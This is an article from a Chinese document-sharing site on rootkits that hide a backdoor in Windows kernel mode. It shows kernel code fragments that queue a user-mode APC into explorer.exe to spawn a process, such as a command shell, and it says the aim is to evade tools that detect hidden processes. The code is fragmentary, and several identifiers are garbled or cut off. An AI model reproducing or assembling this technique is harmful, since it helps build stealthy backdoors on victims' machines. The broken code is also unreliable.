资源描述:
《浅谈rootkit如何在内核模式实现后门隐藏》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库。
1、浅谈Rootkit如何在内核模式实现后门隐藏~教育资源库 很多人对Rootkit感兴趣,Rootkit技术已经用于很多流氓软件中,杀毒软件开始重视Rootkit。很多Rootkit所做的主要工作是在内核态做手脚来隐藏攻击者的后门。那么相应就有很多检测工具来检测隐藏的进程与线程。 有没有办法在Rootkit的内核模块里就实现一个完整的后门,提供一个CMD出来呢?这样就免去了隐藏进程所带来的风险。 NTRootkit试图这么做过,不知道什么原因这个功能并没有开发完成。这涉及到一个问题,如何从内核态来执行用户态
2、代码。 关于这个话题有人很早就已经研究了,但是目前还没有成熟的、公开源码的后门使用这样的技术。也许觉得这很神秘?其实不然。Rootkit.上的valerino就提到过用APC的方法来CreateProcess。 如果对odeApc(lpProcess, pTargetThread, pTargetProcess); } InstallUserModeApc原型: CODENTSTATUS InstallUserModeApc( INLPSTRlpProcess, INPKTHREADpTar
3、getThread, INPEPROCESSpTargetProcess); 其中pTargetProcess是目标进程explore.exe的Eprocess指针,pTargetThread是我们的APC即将插入的线程KTHREAD指针。接着我们就为APC和映射我们代码的内存描述表(MDL)分配内存: PRKAPCpApc=NULL; PMDLpMdl=NULL; ULONGdProbeAndLockPages(pMdl,KernelMode,Iodl驻留在内存中,映射到我们的用户态代码(就是
4、ApcCreateProcess()。如果Explore.exe没有访问内核区域的权限,它怎么能调用我们的APC例程呢? KAPC_STATEApcState; //附着到Explore.exe的进程空间 KeStackAttachProcess((pTargetProcess->Pcb),ApcState); //将我们的代码物理页面映射到进程空间 pMappedAddress= MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCach
5、ed, NULL,FALSE, NormalPagePriority); 我们来看看我们的APC代码,它将映射到Explorer的进程地址空间。 将AL)压入堆栈,然后0xabcd,然后call。0xabcd是apLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL,FALSE, NormalPagePriority); demset((unsignedchar*)pMappedAddress+0x14,0,300); //Copylp
6、Process,即我们要执行的exe文件地址的字符串,到映射的内存空间 memcpy((unsignedchar*)pMappedAddress+0x14, lpProcess, strlen(lpProcess)); data_addr=(ULONG*)((char*)pMappedAddress+0x9);//(参数0xabcd原来的位置) *data_addr=dp;ApcState); 现在要做的就只是初始化我们的APC然后插入目标线程。 //初始化APC KeInitialize
7、Apc(pApc, pTargetThread, OriginalApcEnvironment, ApcKernelRoutine, NULL, pMappedAddress, UserMode, NULL); //插入APC队列 KeInsertQueueApc(pApc,0,NULL,0); //若是non-alertable线程 if(!pTargetThread->ApcState.UserApcPending) { //置为alertable pTargetThrea
8、d->ApcState.UserApcPending=TRUE; } returnSTATUS_SUCCESS; } 东西很多,讲得有些杂。推荐大家去看看《Rootkit-SubvertingtheWindows》这本书。虽然那讲得很多东西有些过时,但是作为一个对Rootkit的基本了解还是很有帮助。友情提醒:,特别!